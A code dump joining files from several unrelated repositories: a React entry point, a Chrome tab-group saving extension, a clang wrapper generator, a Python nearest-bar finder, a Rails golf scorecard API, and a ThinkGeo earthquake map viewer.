import ReactDOM from 'react-dom';
import './index.css';
import App from './App';
import Reports from './Reports';
import Router from './Router';
import * as serviceWorker from './serviceWorker';
export const ROUTE_APP = 'ROUTE_APP';
export const ROUTE_REPORTS = 'ROUTE_REPORTS';
const routes = {
ROUTE_APP: App,
ROUTE_REPORTS: Reports
};
ReactDOM.render(
<React.StrictMode>
<Router
routes={routes}
defaultRoute={ROUTE_APP}
/>
</React.StrictMode>,
document.getElementById('root')
);
// If you want your app to work offline and load faster, you can change
// unregister() to register() below. Note this comes with some pitfalls.
// Learn more about service workers: https://bit.ly/CRA-PWA
serviceWorker.unregister();
| 9fddb5f8b8effa561881d78d357add376141bd17 | [
"JavaScript"
] | 2 | JavaScript | kowi90/tempview | a003be6c4801d035e45c3af737f50e8b66aff83b | f434f47376a2f65a923067997bc0e94c384c3e62 |
refs/heads/main | <file_sep>declare namespace chrome.tabs {
export interface QueryInfo {
/**
* Optional. Whether the tabs have completed loading.
* One of: "loading", or "complete"
*/
status?: 'loading' | 'complete';
/**
* Optional. Whether the tabs are in the last focused window.
* @since Chrome 19.
*/
lastFocusedWindow?: boolean;
/** Optional. The ID of the parent window, or windows.WINDOW_ID_CURRENT for the current window. */
windowId?: number;
/**
* Optional. The type of window the tabs are in.
* One of: "normal", "popup", "panel", "app", or "devtools"
*/
windowType?: 'normal' | 'popup' | 'panel' | 'app' | 'devtools';
/** Optional. Whether the tabs are active in their windows. */
active?: boolean;
/**
* Optional. The position of the tabs within their windows.
* @since Chrome 18.
*/
index?: number;
/** Optional. Match page titles against a pattern. */
title?: string;
/** Optional. Match tabs against one or more URL patterns. Note that fragment identifiers are not matched. */
url?: string | string[];
/**
* Optional. Whether the tabs are in the current window.
* @since Chrome 19.
*/
currentWindow?: boolean;
/** Optional. Whether the tabs are highlighted. */
highlighted?: boolean;
/**
* Optional.
* Whether the tabs are discarded. A discarded tab is one whose content has been unloaded from memory, but is still visible in the tab strip. Its content gets reloaded the next time it's activated.
* @since Chrome 54.
*/
discarded?: boolean;
/**
* Optional.
* Whether the tabs can be discarded automatically by the browser when resources are low.
* @since Chrome 54.
*/
autoDiscardable?: boolean;
/** Optional. Whether the tabs are pinned. */
pinned?: boolean;
/**
* Optional. Whether the tabs are audible.
* @since Chrome 45.
*/
audible?: boolean;
/**
* Optional. Whether the tabs are muted.
* @since Chrome 45.
*/
muted?: boolean;
/// APPENDED
/**
* Optional.
* The ID of the group that the tabs are in, or tabGroups.TAB_GROUP_ID_NONE for ungrouped tabs.
* @since Chrome 88
*/
groupId?: number;
}
export interface Tab {
/**
* Optional.
* Either loading or complete.
*/
status?: string;
/** The zero-based index of the tab within its window. */
index: number;
/**
* Optional.
* The ID of the tab that opened this tab, if any. This property is only present if the opener tab still exists.
* @since Chrome 18.
*/
openerTabId?: number;
/**
* Optional.
* The title of the tab. This property is only present if the extension's manifest includes the "tabs" permission.
*/
title?: string;
/**
* Optional.
* The URL the tab is displaying. This property is only present if the extension's manifest includes the "tabs" permission.
*/
url?: string;
/**
* The URL the tab is navigating to, before it has committed.
* This property is only present if the extension's manifest includes the "tabs" permission and there is a pending navigation.
* @since Chrome 79.
*/
pendingUrl?: string;
/**
* Whether the tab is pinned.
* @since Chrome 9.
*/
pinned: boolean;
/**
* Whether the tab is highlighted.
* @since Chrome 16.
*/
highlighted: boolean;
/** The ID of the window the tab is contained within. */
windowId: number;
/**
* Whether the tab is active in its window. (Does not necessarily mean the window is focused.)
* @since Chrome 16.
*/
active: boolean;
/**
* Optional.
* The URL of the tab's favicon. This property is only present if the extension's manifest includes the "tabs" permission. It may also be an empty string if the tab is loading.
*/
favIconUrl?: string;
/**
* Optional.
* The ID of the tab. Tab IDs are unique within a browser session. Under some circumstances a Tab may not be assigned an ID, for example when querying foreign tabs using the sessions API, in which case a session ID may be present. Tab ID can also be set to chrome.tabs.TAB_ID_NONE for apps and devtools windows.
*/
id?: number;
/** Whether the tab is in an incognito window. */
incognito: boolean;
/**
* Whether the tab is selected.
* @deprecated since Chrome 33. Please use tabs.Tab.highlighted.
*/
selected: boolean;
/**
* Optional.
* Whether the tab has produced sound over the past couple of seconds (but it might not be heard if also muted). Equivalent to whether the speaker audio indicator is showing.
* @since Chrome 45.
*/
audible?: boolean;
/**
* Whether the tab is discarded. A discarded tab is one whose content has been unloaded from memory, but is still visible in the tab strip. Its content gets reloaded the next time it's activated.
* @since Chrome 54.
*/
discarded: boolean;
/**
* Whether the tab can be discarded automatically by the browser when resources are low.
* @since Chrome 54.
*/
autoDiscardable: boolean;
/**
* Optional.
* Current tab muted state and the reason for the last state change.
* @since Chrome 46. Warning: this is the current Beta channel.
*/
mutedInfo?: MutedInfo;
/**
* Optional. The width of the tab in pixels.
* @since Chrome 31.
*/
width?: number;
/**
* Optional. The height of the tab in pixels.
* @since Chrome 31.
*/
height?: number;
/**
* Optional. The session ID used to uniquely identify a Tab obtained from the sessions API.
* @since Chrome 31.
*/
sessionId?: string;
/// APPENDED
/**
* The ID of the group that the tab belongs to.
* @since Chrome 88
*/
groupId: number;
}
export interface TabGroupOptions {
/**
* Optional.
* Configurations for creating a group. Cannot be used if groupId is already specified.
*/
createProperties?: {
/**
* Optional.
* The window of the new group. Defaults to the current window.
*/
windowId?: number
};
/**
* Optional.
* The ID of the group to add the tabs to. If not specified, a new group will be created.
*/
groupId?: number;
/**
* The tab ID or list of tab IDs to add to the specified group.
*/
tabIds: number | number[];
}
/**
* Adds one or more tabs to a specified group, or if no group is specified, adds the given tabs to a newly created group.
* @since Chrome 88
*/
export function group(options: TabGroupOptions, callback: (groupId: number) => void);
/**
* Removes one or more tabs from their respective groups. If any groups become empty, they are deleted.
* @since Chrome 88
* @param tabIds The tab ID or list of tab IDs to remove from their respective groups.
*/
export function ungroup(tabIds: number | number[], callback: () => void);
}
////////////////////
// TabGroups
////////////////////
/**
* Use the chrome.tabGroups API to interact with the browser's tab grouping system.
* You can use this API to modify and rearrange tab groups in the browser.
* To group and ungroup tabs, or to query what tabs are in groups, use the chrome.tabs API.
* Permissions: "tabGroups", Manifest v3
* @since Chrome 89.
*/
declare namespace chrome.tabGroups {
export interface TabGroup {
/**
* Whether the group is collapsed. A collapsed group is one whose tabs are hidden.
*/
collabled: boolean;
/**
* The group's color.
*/
color: Color;
/**
* The ID of the group. Group IDs are unique within a browser session.
*/
id: number;
/**
* Optional.
* The title of the group.
*/
title?: string;
/**
* The ID of the window that contains the group.
*/
windowId: number;
}
export interface MoveProperties {
/** The position to move the window to. -1 will place the tab at the end of the window. */
index: number;
/** Optional. Defaults to the window the tab is currently in. */
windowId?: number;
}
export interface QueryInfo {
/**
* Optional.
* Whether the groups are collapsed.
*/
collapsed?: boolean;
/**
* Optional.
* The color of the groups.
*/
color?: Color;
/**
* Optional.
* Match group titles against a pattern.
*/
title?: string;
/**
* Optional.
* The ID of the parent window, or windows.WINDOW_ID_CURRENT for the current window.
*/
windowId?: number;
}
export interface UpdateProperties {
/**
* Optional.
* Whether the group should be collapsed.
*/
collapsed?: boolean;
/**
* Optional.
* The color of the group.
*/
color?: Color;
/**
* Optional.
* The title of the group.
*/
title?: string;
}
export type TabGroupEvent = chrome.events.Event<(group: TabGroup) => void>
/**
* Fired when a group is created.
*/
export let onCreated: TabGroupEvent;
/**
* Fired when a group is moved within a window. Move events are still fired for the individual tabs within the group,
* as well as for the group itself. This event is not fired when a group is moved between windows;
* instead, it will be removed from one window and created in another.
*/
export let onMoved: TabGroupEvent;
/**
* Fired when a group is closed, either directly by the user or automatically because it contained zero tabs.
*/
export let onRemoved: TabGroupEvent;
/**
* Fired when a group is updated.
*/
export let onUpdated: TabGroupEvent;
/**
* The group's color.
*/
export type Color = "grey" | "blue" | "red" | "yellow" | "green" | "pink" | "purple" | "cyan";
/**
* An ID that represents the absence of a group.
*/
export const TAB_GROUP_ID_NONE: number;
/**
* Retrieves details about the specified group.
*/
export function get(groupId: number, callback: (group: TabGroup) => void): void;
/**
* Moves the group and all its tabs within its window, or to a new window.
* @param groupId The ID of the group to move.
*/
export function move(groupId: number, moveProperties: MoveProperties, callback: (group: TabGroup) => void): void;
/**
* Gets all groups that have the specified properties, or all groups if no properties are specified.
*/
export function query(queryInfo: QueryInfo, callback: (result: TabGroup[]) => void): void;
/**
* Modifies the properties of a group. Properties that are not specified in updateProperties are not modified.
* @param groupId The ID of the group to modify.
*/
export function update(groupId: number, updateProperties: UpdateProperties, callback: (group: TabGroup) => void): void;
}<file_sep>export { }
function main() { }
main()<file_sep>import Tab = chrome.tabs.Tab;
import TabGroup = chrome.tabGroups.TabGroup;
import { nonNullFilter } from './util';
const KEY_CURRENT = 'current';
interface TabGroupData {
groupName?: string;
groupColor?: chrome.tabGroups.Color;
tabUrls: (string | undefined)[];
}
class TabGroupInfo {
tabGroup: TabGroup | undefined;
tabs: Map<number, Tab>; // tabs[tab.id] = tab
constructor(tabGroup: TabGroup | undefined, tabs: Tab[]) {
this.tabGroup = tabGroup;
this.tabs = new Map();
tabs.forEach(tab => { if (tab.id != null) { this.tabs.set(tab.id, tab) } });
}
toData(): TabGroupData {
return {
groupName: this.tabGroup?.title,
groupColor: this.tabGroup?.color,
tabUrls: [...this.tabs.values()].map(tab => tab.url)
};
}
}
type WindowGroupInfo = Map<number, Map<number, TabGroupInfo>>;
function appendTabGroup(windowGroupInfos: WindowGroupInfo, groupId: number, windowId: number, newGroup?: TabGroup) {
if (!windowGroupInfos.has(windowId)) {
const groupInfo = new Map<number, TabGroupInfo>();
groupInfo.set(groupId, new TabGroupInfo(newGroup, []));
windowGroupInfos.set(windowId, groupInfo);
} else {
windowGroupInfos.get(windowId)?.set(groupId, new TabGroupInfo(newGroup, []));
}
}
function saveCurrentWindow(info: TabGroupData[]) {
const obj: { [k: string]: TabGroupData[] } = Object();
obj[KEY_CURRENT] = info;
chrome.storage.local.set(obj);
}
async function registerHandlers() {
const windowGroupInfos: WindowGroupInfo = new Map(); // windowId => groupId => Info
(await new Promise<TabGroup[]>(resolve => chrome.tabGroups.query({}, resolve)))
.forEach(group => appendTabGroup(windowGroupInfos, group.id, group.windowId, group));
chrome.tabGroups.onCreated.addListener(group => appendTabGroup(windowGroupInfos, group.id, group.windowId, group));
chrome.tabGroups.onUpdated.addListener(group => {
console.log("group updated");
console.log(windowGroupInfos);
const info = windowGroupInfos.get(group.windowId);
if (info != null) {
const groupInfo = info.get(group.id);
if (groupInfo != null) {
groupInfo.tabGroup = group
}
saveCurrentWindow([...info.values()].map(i => i.toData()));
}
});
chrome.tabGroups.onRemoved.addListener(group => {
// todo check if the window is closing
const info = windowGroupInfos.get(group.windowId);
if (info != null) {
info.delete(group.id);
saveCurrentWindow([...info.values()].map(i => i.toData()));
}
})
console.log(windowGroupInfos);
// chrome.tabs.query does not works
// https://bugs.chromium.org/p/chromium/issues/detail?id=1181819&q=query&can=2
const updateTab = (tab: Tab) => {
console.log("tab updated");
if (tab.id != null) {
let info = windowGroupInfos.get(tab.windowId);
if (info == undefined) {
appendTabGroup(windowGroupInfos, tab.groupId, tab.windowId, undefined);
info = windowGroupInfos.get(tab.windowId);
}
if (info != undefined) {
// initialize tabgroup
info.get(tab.groupId)?.tabs.set(tab.id, tab);
saveCurrentWindow([...info.values()].map(i => i.toData()));
}
}
};
(await chrome.tabs.query({})).forEach(updateTab);
chrome.tabs.onCreated.addListener(updateTab);
chrome.tabs.onUpdated.addListener((_1, _2, tab) => updateTab(tab));
chrome.tabs.onRemoved.addListener((tabId, removeInfo) => {
// todo remove tabid
// dict[tabid] => groupid should be needed.
});
let keyNum = 0;
chrome.windows.onRemoved.addListener(windowId => {
console.log(`window id ${windowId} is closed`);
const info = windowGroupInfos.get(windowId)?.values();
if (info != undefined) {
const obj: { [k: string]: TabGroupInfo[] } = Object();
obj[keyNum.toString()] = [...info];
chrome.storage.local.set(obj);
}
keyNum = keyNum + 1; // eslint does not accept { (keyNum++) : foo } or keyNum += 1
console.log(info);
windowGroupInfos.delete(windowId);
});
}
function restoreGroups() {
console.log("restoring");
chrome.storage.local.get(null, (obj: { [key: string]: TabGroupData[] }) => {
console.log(obj);
Object.entries(obj).forEach(([windowKey, groupsInWindow]) => {
if (windowKey != KEY_CURRENT) {
// TODO create window
}
groupsInWindow.map(async data => {
console.log(data);
const tabs = await Promise.all(data.tabUrls.map(url => new Promise<Tab>(resolve => chrome.tabs.create({ url: url }, resolve))));
chrome.tabs.group({ tabIds: tabs.map(tab => tab.id).filter(nonNullFilter) }, groupId => {
chrome.tabGroups.update(groupId, { title: data.groupName, color: data.groupColor }, () => {
//
});
})
})
});
chrome.storage.local.clear();
});
}
function main() {
restoreGroups();
registerHandlers();
}
main(); | 3f08b8ee7e459ae23df8188ac0fab66ee85b8ce4 | [
"TypeScript"
] | 3 | TypeScript | hajifkd/tabgrouper | 8bed8b4371ce31448f2bf800b644323a9d5906a5 | 911b49c79d8938c596964e61dc73bfbaf41bab75 |
refs/heads/master | <file_sep>#!/usr/bin/env ruby
require 'FileUtils'; include FileUtils
install_prefix = ARGV[0]
clang_exe = File.readlink("#{install_prefix}/bin/clang")
m = {}
m['clang'] = <<-SH#!/bin/bash
exec #{clang_exe} -isystem /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include -L/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib -I/usr/local/include -Qunused-arguments "$@"
SH
m['clang++'] = <<-SH#!/bin/bash
exec #{clang_exe} -stdlib=libc++ -nostdinc++ -isystem /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1 -isystem /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include -L/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib -I/usr/local/include -lc++ -Qunused-arguments "$@"
SH
m.each do |exe,text|
target = "#{install_prefix}/bin/#{exe}"
rm(target) # currently a symlink
open(target,"w"){|f| f.write(text) }
chmod("+x", target)
end
<file_sep># Clang Scripts for OSX
Scripts to smoothly run home-built Clang with the right flags.
## `libcxx`
This directory contains wrappers that assume Clang was built using `-stdlib=libc++` (the one that ships with OSX Mavericks' Xcode command-line tools).
| 3430e7a7898b6b4eaf6123fca58836981777c3b7 | [
"Markdown",
"Ruby"
] | 2 | Ruby | bholt/clang-osx-scripts | 345389e4977f78b108c051b507a3b76359be960d | 2c5f5af77a9e0c2461683f838d534f5f76bd04b8 |
refs/heads/master | <file_sep>import json
import sys
import argparse
import math
def load_data(filepath):
with open(filepath, encoding='utf-8') as file:
bars = json.load(file)
return bars
def get_biggest_bar(bars):
bars_seats_count = [bar['properties']['Attributes']['SeatsCount']
for bar in bars['features']]
index_of_bar = bars_seats_count.index(max(bars_seats_count, key=abs))
return bars['features'][index_of_bar]
def get_smallest_bar(bars):
bars_seats_count = [bar['properties']['Attributes']['SeatsCount']
for bar in bars['features']]
index_of_bar = bars_seats_count.index(min(bars_seats_count, key=abs))
return bars['features'][index_of_bar]
def get_distance(longitude1, latitude1, longitude2, latitude2):
radian_longitude1 = longitude1 * math.pi / 180
radian_latitude1 = latitude1 * math.pi / 180
radian_longitude2 = longitude2 * math.pi / 180
radian_latitude2 = latitude2 * math.pi / 180
dlongitude = radian_longitude2 - radian_longitude1
dlatitude = radian_latitude2 - radian_latitude1
a = (math.sin(dlatitude / 2))**2 + math.cos(radian_latitude1) * \
math.cos(radian_latitude2) * (math.sin(dlongitude / 2))**2
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
earth_radius = 6371
distance = earth_radius * c
return distance
def get_closest_bar(bars, longitude, latitude):
coordinates_of_bars = []
for bar in bars['features']:
coordinates = bar['geometry']['coordinates']
distance = get_distance(coordinates[0], coordinates[
1], longitude, latitude)
coordinates_of_bars.append(distance)
index_of_bar = coordinates_of_bars.index(min(coordinates_of_bars))
return bars['features'][index_of_bar]
def print_result(bars, filename):
if filename:
with open(filename, 'w+', encoding='utf-8') as file:
json.dump(bars, file, ensure_ascii=False)
else:
print(bars)
if __name__ == '__main__':
i_filename = sys.argv[1]
o_filename = ''
if(len(sys.argv) == 3):
o_filename = sys.argv[2]
bars = load_data(i_filename)
print('Choose option:')
print('1 - Find the biggest bar.')
print('2 - Find the smallest one.')
print('3 - Find the closest one.')
option = int(input('Type option number: '))
if option == 1:
bar = get_biggest_bar(bars)
print_result(bar, o_filename)
elif option == 2:
bar = get_smallest_bar(bars)
print_result(bar, o_filename)
elif option == 3:
longitude = float(input('longitude: '))
latitude = float(input('latitude: '))
bar = get_closest_bar(bars, longitude, latitude)
print_result(bar, o_filename)
else:
raise ValueError('{0} is invalid option.'.format(option))
<file_sep># Ближайшие бары
Для поиска ближайшего бара используются:
1. Текущие координаты пользователя
2. Координаты баров из json файла
На сайте data.mos.ru есть список московских баров.
Чтобы скачать файл в json-формате нужно:
1. Зарегистрироваться на сайте и получить ключ API;
2. Скачать файл по ссылке вида https://apidata.mos.ru/v1/features/1796?api_key={place_your_API_key_here}
Выходные данные:
json-текст в консоль или json-файл с информацией о ближайшем баре
# Как запустить
Скрипт требует для своей работы установленного интерпретатора Python версии 3.5
Запуск на Linux:
$ python bars.py {source_file} [destination_file]
где source_file - json-файл источник данных,
destination_file - json-файл выходных данных
```bash
$ python bars.py bars.json
Choose option:
1 - Find the biggest bar.
2 - Find the smallest one.
3 - Find the closest one.
Type option number: 3
longitude: 37.57
latitude: 55.77
# Выведет результат работы в консоль
# Пример ответа скрипта:
{"geometry": {"coordinates": [37.58699411741135, 55.77085237743563], "type": "Point"}, "properties": {"DatasetId": 1796, "VersionNumber": 2, "ReleaseNumber": 2, "RowId": "4b5eb176-f50c-4610-b3b0-de68378e53ce", "Attributes": {"global_id": 20731657, "Name": "Бар «ДЖЕМ»", "IsNetObject": "нет", "OperatingCompany": null, "AdmArea": "Центральный административный округ", "District": "Пресненский район", "Address": "Васильевская улица, дом 4", "PublicPhone": [{"PublicPhone": "(499) 254-28-22"}], "SeatsCount": 56, "SocialPrivileges": "нет"}}, "type": "Feature"}
$ python bars.py bars.json bars_out.json # Выведет результат работы в файл bars_out.json
```
Запуск на Windows происходит аналогично.
# Цели проекта
Код создан в учебных целях. В рамках учебного курса по веб-разработке - [DEVMAN.org](https://devman.org)
| baacfe508a0dfa4676120ec0c92b9a1dc400dff1 | [
"Markdown",
"Python"
] | 2 | Python | surgart/3_bars | 12d34b81a80c76bcfe8a13bf2e8b8f89f804ae9c | c83c5219641c0677c21dd9fc3de5f52c150105bd |
refs/heads/master | <file_sep>class ScorecardsController < ApplicationController
before_action :set_scorecard, only: [:show, :update, :destroy]
# GET /scorecards
def index
@scorecards = Scorecard.all
render json: @scorecards
end
# GET /scorecards/1
def show
render json: @scorecard
end
# POST /scorecards
def create
@scorecard = Scorecard.new(scorecard_params)
p @scorecard
if @scorecard.save
render json: @scorecard, status: :created, location: @scorecard
else
render json: @scorecard.errors, status: :unprocessable_entity
end
end
# PATCH/PUT /scorecards/1
def update
if @scorecard.update(scorecard_params)
render json: @scorecard
else
render json: @scorecard.errors, status: :unprocessable_entity
end
end
# DELETE /scorecards/1
def destroy
@scorecard.destroy
end
private
# Use callbacks to share common setup or constraints between actions.
def set_scorecard
@scorecard = Scorecard.find(params[:id])
end
# Only allow a trusted parameter "white list" through.
def scorecard_params
params.require(:scorecard).permit(:course_name, :date_played, :front_nine_score, :back_nine_score, :combined_score, :front_par, :back_par, :total_par, :user_id)
end
end
<file_sep># This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
User.create([
{
name: 'TestName1',
username: 'testuser1',
password: '<PASSWORD>',
age: 10,
handicap: 15,
status: 'Amateur'
},
{
name: 'TestName2',
username: 'testuser2',
password: '<PASSWORD>',
age: 30,
handicap: 8,
status: 'Amateur'
},
{
name: 'TestName3',
username: 'testuser3',
password: '<PASSWORD>',
age: 28,
handicap: -4,
status: 'Professional'
}
])
Scorecard.create([
{
course_name: "<NAME>",
date_played: '12/1/2018', # dd/mm/year
front_nine_score: 46,
back_nine_score: 40,
combined_score: 86,
front_par: 36,
back_par: 36,
total_par: 72,
user_id: 1
},
{
course_name: "<NAME>",
date_played: '12/3/2018',
front_nine_score: 43,
back_nine_score: 45,
combined_score: 88,
front_par: 35,
back_par: 37,
total_par: 72,
user_id: 1
}
])
<file_sep>require 'test_helper'
class ScorecardsControllerTest < ActionDispatch::IntegrationTest
setup do
@scorecard = scorecards(:one)
end
test "should get index" do
get scorecards_url, as: :json
assert_response :success
end
test "should create scorecard" do
assert_difference('Scorecard.count') do
post scorecards_url, params: { scorecard: { course_name: @scorecard.course_name,
date_played: @scorecard.date_played,
front_nine_score: @scorecard.front_nine_score,
back_nine_score: @scorecard.back_nine_score,
combined_score: @scorecard.combined_score,
front_par: @scorecard.front_par,
back_par: @scorecard.back_par,
total_par: @scorecard.total_par,
user_id: @scorecard.user_id} }, as: :json
end
assert_response 201
end
test "should show scorecard" do
get scorecard_url(@scorecard), as: :json
assert_response :success
end
test "should update scorecard" do
patch scorecard_url(@scorecard), params: { scorecard: { course_name: @scorecard.course_name,
date_played: @scorecard.date_played,
front_nine_score: @scorecard.front_nine_score,
back_nine_score: @scorecard.back_nine_score,
combined_score: @scorecard.combined_score,
front_par: @scorecard.front_par,
back_par: @scorecard.back_par,
total_par: @scorecard.total_par,
user_id: @scorecard.user_id } }, as: :json
assert_response 200
end
test "should destroy scorecard" do
assert_difference('Scorecard.count', -1) do
delete scorecard_url(@scorecard), as: :json
end
assert_response 204
end
end
<file_sep>class CreateScorecards < ActiveRecord::Migration[6.0]
def change
create_table :scorecards do |t|
t.string :course_name
t.date :date_played
t.integer :front_nine_score
t.integer :back_nine_score
t.integer :combined_score
t.integer :front_par
t.integer :back_par
t.integer :total_par
t.integer :user_id
t.timestamps
end
end
end
| b6f7e4969b2ec4f7ec6c9bcf457278c9275895a0 | [
"Ruby"
] | 4 | Ruby | brandonlum/trackstat-api | 06c593a7000defce333cc6168cfc9cccfe177c49 | 1790543d8d332c780cb59e6a52661c09cf45af38 |
refs/heads/master | <file_sep>using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data;
using ThinkGeo.MapSuite.Shapes;
namespace ThinkGeo.MapSuite.EarthquakeStatistics
{
public static class InternalHelper
{
public static DataTable GetQueriedResultTableDefination()
{
DataTable tableDefination = new DataTable();
tableDefination.Columns.Add("id");
tableDefination.Columns.Add("year");
tableDefination.Columns.Add("longitude");
tableDefination.Columns.Add("latitude");
tableDefination.Columns.Add("depth_km");
tableDefination.Columns.Add("magnitude");
tableDefination.Columns.Add("location");
return tableDefination;
}
public static string ConvertFeaturesToJson(IEnumerable<Feature> features)
{
Collection<JsonFeature> jsonFeatures = new Collection<JsonFeature>();
foreach (Feature feature in features)
{
// re-order the columns for display it in query table
Dictionary<string, string> orderedColumns = new Dictionary<string, string>();
orderedColumns.Add("year", feature.ColumnValues["YEAR"]);
orderedColumns.Add("longitude", feature.ColumnValues["LONGITUDE"]);
orderedColumns.Add("latitude", feature.ColumnValues["LATITIUDE"]);
orderedColumns.Add("depth_km", feature.ColumnValues["DEPTH_KM"]);
orderedColumns.Add("magnitude", feature.ColumnValues["magnitude"]);
orderedColumns.Add("location", feature.ColumnValues["LOCATION"]);
JsonFeature jsonFeature = new JsonFeature(feature.Id, feature.GetWellKnownText(), orderedColumns);
jsonFeatures.Add(new JsonFeature(feature));
}
return JsonSerializer.Serialize<Collection<JsonFeature>>(jsonFeatures);
}
}
}<file_sep>using System.Runtime.Serialization;
namespace ThinkGeo.MapSuite.EarthquakeStatistics
{
[DataContract]
public class EarthquakeQueryConfiguration
{
private string parameter;
private int minimum;
private int maximum;
public EarthquakeQueryConfiguration()
{
}
[DataMember(Name = "name")]
public string Parameter
{
get { return parameter; }
set { parameter = value; }
}
[DataMember(Name = "min")]
public int Minimum
{
get { return minimum; }
set { minimum = value; }
}
[DataMember(Name = "max")]
public int Maximum
{
get { return maximum; }
set { maximum = value; }
}
}
}<file_sep>$(document).ready(function () {
initializePageElements();
$("#btnPanMap").bind("click", function () {
$("#divTrackShapes input[type=image]").not($(this)).removeClass("active");
});
$("#btnClearAll").bind("click", function () {
$("#divTrackShapes input[type=image]").not($("#btnPanMap")).removeClass("active");
$("#btnPanMap").addClass("active");
Map1.setDrawMode("Normal");
Map1.getEditOverlay().removeAllFeatures();
});
// Configuration slider
var filterEarthquakePoints = function () {
var queryItems = [];
var magnitude = { "name": "MAGNITUDE", "min": $("#sliderFortxbMagnitude").slider("values", 0), "max": $("#sliderFortxbMagnitude").slider("values", 1) };
queryItems.push(magnitude);
var depth = { "name": "DEPTH_KM", "min": $("#sliderFortxbDepth").slider("values", 0), "max": $("#sliderFortxbDepth").slider("values", 1) };
queryItems.push(depth);
var year = { "name": "YEAR", "min": $("#sliderFortxbYear").slider("values", 0), "max": $("#sliderFortxbYear").slider("values", 1) };
queryItems.push(year);
$("#loading").show();
Map1.ajaxCallAction("default", "GetQueryingFeatures", { "configs": JSON.stringify(queryItems) }, displayQueryResult);
}
var displaySlideValue = function (element, ui) {
var valueSpans = $(element).parent().parent().find("span");
$(valueSpans[0]).text(ui.values[0]);
$(valueSpans[1]).text(ui.values[1]);
}
$("#sliderFortxbMagnitude").slider({
range: true,
min: 0,
max: 12,
values: [0, 12],
stop: filterEarthquakePoints,
slide: function (event, ui) {
displaySlideValue(this, ui);
}
});
$("#sliderFortxbDepth").slider({
range: true,
min: 0,
max: 300,
values: [0, 300],
stop: filterEarthquakePoints,
slide: function (event, ui) {
displaySlideValue(this, ui);
}
});
$("#sliderFortxbYear").slider({
range: true,
min: 1568,
max: 2012,
values: [1568, 2012],
stop: filterEarthquakePoints,
slide: function (event, ui) {
displaySlideValue(this, ui);
}
});
});
function initializePageElements() {
var resizeElementHeight = function () {
var documentheight = $(window).height();
var contentDivH = documentheight - $("#footer").height() - $("#header").height() - 1;
$("#content-container").height(contentDivH + "px");
$("#leftContainer").height(contentDivH + "px");
$("#map-content").height(contentDivH + "px");
$("#toggle").css("line-height", contentDivH + "px");
var mapDivH = contentDivH - $("#resultContainer").height();
$("#mapContainer").height(mapDivH + "px");
// refresh the map.
Map1.updateSize();
}
window.onload = resizeElementHeight();
$(window).resize(resizeElementHeight);
// set the toggle style for group buttons
$("#divTrackShapes input[type=image]").bind("click", function () {
var btnImgs = $("#divTrackShapes input[type=image]");
for (var i = 0; i < btnImgs.length; i++) {
$(btnImgs[i]).attr("class", "");
}
$(this).attr("class", "active");
});
// Bind toggle button events
$("#toggle img").bind("click", function () {
if ($("#leftContainer").is(':visible')) {
$("#map-content").css("width", "99%");
$("#resultContainer").css("width", "99%");
$("#toggle").css("left", "5px");
$("#leftContainer").hide();
$("#collapse").attr("src", "Images/expand.gif");
}
else {
$("#leftContainer").show();
$("#map-content").css("width", "80%");
$("#resultContainer").css("width", "80%");
$("#toggle").css("left", "20%");
$("#collapse").attr("src", "Images/collapse.gif");
}
resizeElementHeight();
});
}
var OnMapCreated = function (map) {
map.events.register("mousemove", map, function (e) {
var mouseCoordinate = this.getLonLatFromPixel(new OpenLayers.Pixel(e.clientX, e.clientY));
if (mouseCoordinate) {
$("#spanMouseCoordinate").text("X:" + mouseCoordinate.lon.toFixed(2) + " Y: " + mouseCoordinate.lat.toFixed(2));
}
});
}
function getChangeLayerTypeArguments(e) {
return { command: $(e.srcElement).attr("command") };
}
function changeLayerTypeCallback(response) {
Map1.getAdornmentOverlay().redraw(true);
}
function clearLayerCallback(response) {
Map1.getLayer('TrackShapeOverlay').redraw(true);
Map1.getLayer('QueryResultMarkerOverlay').redraw(true);
$("#resultTable tr:gt(0)").remove();
}
function displayQueryResult(result) {
// Refresh the corresponding Layer
Map1.getLayer('QueryResultMarkerOverlay').redraw(true);
// remove all the lines except the header
$("#resultTable tr:gt(0)").remove();
// Display data in the Grid table
var featuresJsonStr = JSON.parse(result.get_responseData()).features;
var queryItems = JSON.parse(featuresJsonStr);
for (var i = 0; i < queryItems.length; i++) {
var columns = queryItems[i].values;
var featureId = queryItems[i].id;
var newRow = $("<tr>");
newRow.append('<td><input type="image" id="' + featureId + '" src="/Content/Images/find.png" onclick="zoomToFeature(this)" /></td>');
newRow.append("<td>" + columns[0].Value + "</td>");
newRow.append("<td>" + columns[2].Value + "</td>");
newRow.append("<td>" + columns[3].Value + "</td>");
newRow.append("<td>" + (columns[4].Value < 0 ? "Unknown" : columns[4].Value) + "</td>");
newRow.append("<td>" + (columns[5].Value < 0 ? "Unknown" : columns[5].Value) + "</td>");
newRow.append("<td>" + columns[1].Value + "</td>");
$("#resultTable > tbody:last").append(newRow);
}
$("#loading").hide();
}
function zoomToFeature(element) {
Map1.ajaxCallAction("default", "ZoomToFeature", { featureId: $(element).attr("id") }, function (result) {
if (result.get_responseData()) {
var lonlat = JSON.parse(result.get_responseData());
Map1.setCenter(new OpenLayers.LonLat(lonlat.x, lonlat.y), 16);
}
});
}
function trackShapeFinished(e) {
var features = JSON.parse(e.features);
var wkts = [];
for (var i = 0; i < features.length; i++) {
wkts.push(features[i].wkt);
}
$("#loading").show();
Map1.ajaxCallAction("default", "GetTrackFeatures", wkts, displayQueryResult);
}
// Override to support showing the drawing radius of circle
var OnMapCreating = function (map) {
var msDrawCircleLineId = "";
var msDrawCircleLabelId = "";
OpenLayers.Handler.RegularPolygon.prototype.move = function (evt) {
var maploc = this.map.getLonLatFromPixel(evt.xy);
var point = new OpenLayers.Geometry.Point(maploc.lon, maploc.lat);
if (this.irregular) {
